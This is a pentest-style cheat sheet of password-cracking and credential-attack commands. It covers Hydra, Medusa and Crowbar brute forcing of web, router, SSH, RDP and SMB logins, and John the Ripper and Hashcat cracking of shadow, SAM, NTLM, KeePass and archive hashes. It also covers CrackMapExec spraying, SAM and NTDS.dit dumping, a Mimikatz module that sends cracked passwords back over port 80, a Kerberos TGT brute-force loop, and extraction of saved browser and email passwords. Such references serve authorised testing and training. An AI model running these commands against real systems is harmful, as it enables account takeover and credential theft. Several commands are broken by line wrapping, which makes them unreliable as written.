Cracking the password of a zip file

```
root@kali:fcrackzip -b --method 2 -D -p
~/Desktop/rockyou.txt -v file.zip

b: brute force
D: using dictionary list
P: password list
```

Creating a wordlist tied to a specific profile or individual target

```
root@kali:python cupp.py -i
Follow the prompt and enter the details of
the target to
generate the wordlist
```

Hydra

Brute forcing http login forms: example on wordpress

```
root@kali:hydra -l users.txt -P
/usr/share/wordlists/rockyou.txt -u
192.168.56.134 http-form-post '/wp-
```

```
login.php:log=^USER^&pwd=^PASS^&wp-
submit=Log In&testcookie=1:S=Location
```

Another example:

```
root@kali:hydra 10.11.0.22 http-form-post
"/form/frontpage.php:user=admin&pass=^PASS^:
INVALID LOGIN" -l admin -P
/usr/share/wordlists/rockyou.txt -vV -f
Don’t forget to inspect the login form for
the required parameters and supply the
string that indicates invalid login attempt.
```

Brute Forcing router login

```
root@kali:hydra -l admin -P
/usr/share/wordlists/dic_files/file_1.txt -t
1 http-post-form
192.168.2.1/login.cgi:user=^USER^&password=^
PASS^&login-php-submit-button=Login:Not
Logged In
```

Note For router login cracking : you should view the source code of the login page and look for the field [form>] and examine the [method] field if it is " post "

or " get " then you should look the field in the code that looks like this

```
<input name="password" type="password"
class="text required" id="userpassword"
size="20" maxlength="15">
```

Also you have to put the phraase which appears when a wrong information provided to the router interface like " username or password does not match "

Brute forcing ssh

```
root@kali:hydra -l kali -P
/usr/share/wordlists/rockyou.txt
ssh://127.0.0.1
```

John The Ripper:

Cracking a password hash, lets say a user hash, stored in a file in your system

```
root@kali:john --wordlist=rockyou.txt
root_password
```

Cracking Linux root password with shadow and passwd file provided

```
root@kali:unshadow shadow passwd [mypasswd]
root@kali:john mypasswd
root@kali:John the Ripper most aggressive
mode to crack hashes:
root@kali:john --incremental mypasswd
```

Cracking windows passwords with SAM and SYSTEM provided from system32/config

```
root@kali:samdump2 system sam
root/hashes/filehashes.txt>
root@kali:john /root/hashes/filehashes.txt
```

Cracking password of PDF Files

```
root@kali:pdf2john.py [target file] > [
output file - result is hash]
root@kali: john [ output file - contains
resulted hash ]
```

Cracking password of ZIP Files

```
root@kali:zip2john backup.zip > hash
root@kali: john hash --wordlist=path
```

Crack Windows hashes with NT Format

```
root@kali:sudo john hash.txt --format=NT
```

Editing John the ripper password rules by adding double digits to each tried password.

This is accomplished by editing /etc/john/john.conf and locating [List.Rules:Wordlist] to add the following at the end of it
Add two numbers to the end of each password

```
$[0-9]$[0-9]
```

Activating the rules to crack the passwords and outputting them

```
root@kali:john --wordlist=megacorp-cewl.txt
--rules --stdout > mutated.txt
```

Medusa:

Cracking ssh login creds

```
root@kali:medusa -h 192.168.1.100 -U
users.txt -P passwds.txt -M ssh -v 4 -w 0
```

Cracking http based directory

```
root@kali:medusa -h 10.11.0.22 -u admin -P
/usr/share/wordlists/rockyou.txt -M http -m
DIR:/admin
```

HashCat

Cracking hashes

```
root@kali:hashcat -m [ hashtype - usually a
number] -a [ the number of the attack mode ]
[ target file.txt ] [ wordlist.txt]
```

targetfile.txt: contains your hashes

Identify the type of hash

```
root@kali:hashid
c43ee559d69bc7f691fe2fbfe8a5ef0a
```

Brute forcing RDP

```
root@kali:Crowbar.py -b rdp -s [ip or ip-range] -u [username or username-list] -p [password or password-list]
```

Crunch

Generate wordlists

```
root@kali:crunch [minimum number of characters] [max] [character set] -o [path to output file]
```

Generating a wordlist where you got part of the password or a pattern.

```
root@kali:crunch [minimum number of characters] [max] [character set] -o [path to output file] -t [pattern]
```

Generating wordlist with 8 min and 8 maximum characters, one capital letter, two lower case letters, two special characters and three numeric characters

```
root@kali:crunch 8 8 -t ,@@^^%%%
```

Cewl

Generating a wordlist based on a target website and minimum number of characters

```
root@kali:cewl www.megacorpone.com -m 6 -w megacorp-cewl.txt
```

Hashcat

Cracking the hash of zip file

```
root@kali:hashcat -m 17220 hash /usr/share/wordlists/rockyou.txt>
```

Cracking NTLM Hash captured from wireshark

Use the following formula to store the NTLM Hash in a text file

```
username::domain:ServerChallenge:NTProofstring:modifiedntlmv2response
```

then with hash cat

```
hashcat -m 5600 hash.txt rockyou.txt
```

SMB Password cracking

```
root@kali:Crackmapexec smb -I [ip] -u
[username list or single username] -p
[password list – or single password]
```

OR

With [Metasploit] Module use

```
auxiliary/scanner/smb/smb_login
```

```
#msf5 > use auxiliary/scanner/smb/smb_login
#msf5 auxiliary(scanner/smb/smb_login) > set
pass_file wordlist
#pass_file => wordlist

#msf5 auxiliary(scanner/smb/smb_login) > set
USER_file users.txt
#USER_file => users.txt

#msf5 auxiliary(scanner/smb/smb_login) > set
RHOSTS domain.com
#RHOSTS => domain.com
```

```
#msf5 auxiliary(scanner/smb/smb_login) >
#msf5 auxiliary(scanner/smb/smb_login) > run
```

Port 5985 Windows Remote Management Cracking (winrm)

```
root@kali:Crackmapexec winrm -I [ip] -u
[username list or single username] -p
[password list - or single password]
```

Checking if a pair of active directory credentials work on other domain-joined machines

```
<root@kali:Crackmapexec -u [username] -p
[password] [ip1] [ip2] [ip3] [dc-ip]>
```

ips; are the Ips of the domain joined machines.

Checking the credentials on a WORKGROUP machines and not domain joined.

The below command is ran from a non-Active directory machine. In most cases it can be a

windows server machine

```
root@kali:Crackmapexec -u [username] -p [password] [ip1] [ip2] [ip3]
```

Or with NTLM Hash

```
root@kali:Crackmapexec winrm -i [ip] -u [username list or single username] -H [NTLM HASH]
```

Harvesting the windows administrator account password with crackmapexec

```
root@kali:crackmapexec -u [username] -p [password] -d WORKGROUP --sam [ip of the target machine from which the administrator account hash will be dumped]
```

Harvesting passwords of other windows machines with crackmapexec + Mimikatz

```
root@kali:crackmapexec -u administrator -H [Hash] -d WORKGROUP [ip1] [ip2] [ip3] -M
```

```
mimikatz - server=http --server-port=80
```

In this command, we used the administrator hash to launch an authenticated process on the remote machines to crack the local accounts passwords and send it over port 80 to us. This command will only work if the administrator has logged in to the remote machines before or if the machines are part of an Active Directory structure.

Dumping Active Directory Users's hashes with secretsdump.py given we have acquired the plain text password of a valid user

```
root@kali:Secretsdump.py
pentesting.local/user:'password'@[ip]
```

Given ntds.dit and registery file system [Active Directory]

```
<root@kali:python secretsdump.py -system
registry/SYSTEM -ntds Active\
Directory/ntds.dit LOCAL > backup_ad_dump >
```

OR

```
root@kali:pythonsecretsdump.py -system
registry/SYSTEM -ntds Active\
Directory/ntds.dit -hashes lmhash:nthash
LOCAL -output hashes-output
```

Brute forcing a user hash given a list of users and hashes by performing retrieving TGTs [Active Directory]

Use the script below to iterate through the usernames and hashes.
GetTGT.py is within impacket

```
#!/bin/bash
#Request the TGT with hash

for i in $(cat wordlists/valid.usernames)
do
        for j in $(cat
wordlists/hashes.ntds)
        do
                echo trying $i:$j
                echo
                getTGT.py htb.local/$i \-
```

```
hashes $j:$j
                echo
                sleep 5
        done
done
```

Cracking type 7 cisco passwords

We use this online tool

```
https://www.ifm.net.nz/cookbooks/passwordcracker.html
```

Cracking a keepass database

First we extract the hash

```
keepass2john file.kdbx > hash
```

Then using hashcat or john the ripper to crack the hash
[John]

```
john --format=KeePass --wordlist=/usr/share/dict/rockyou.txt hash
```

[Hashcat]
file.hash is the file containing the hash to crack.

```
hashcat -m 13400 file.hash
/usr/share/dict/rockyou.txt
```

Cracking Mozilla Thunderbird database password

Mozilla Thunderbird is an email client like outlook. First we locate the database file [.db] and if there is a [login.json] we make a copy of it.

Method one: Using john the ripper

we convert the database file [key.db] into [key.db.john]

```
mozilla2john.py key.db > key.db.john
```

Then use john to crack the password

```
john key.db.john -w
/usr/share/wordlists/rockyou.txt
```

You should be able then to move all the files under the thunerbird foler profile [normally under /user/.thunderbird/default] into a new profile and

open it in Thunderbird.
Then:

```
launch firebird, and hit alt+e to get to
edit -> preferences -> security -> saved
passwords -> show passwords
```

Method Two: Using Firepwd

Firepwd extracts passwords stored in Mozilla products, namely Firefox and Thunderbird.
Link

```
https://github.com/lclevy/firepwd
```

Make sure the database file [key.db], [login.json] and any [sqlite] file are there.
You also need the master password of the database file. If you don't have then go back to method one and crack it with John.

```
$ python firepwd.py -p [master pass if any]
[key.db]
```

Online Resource

Crackstation

```
https://crackstation.net/
```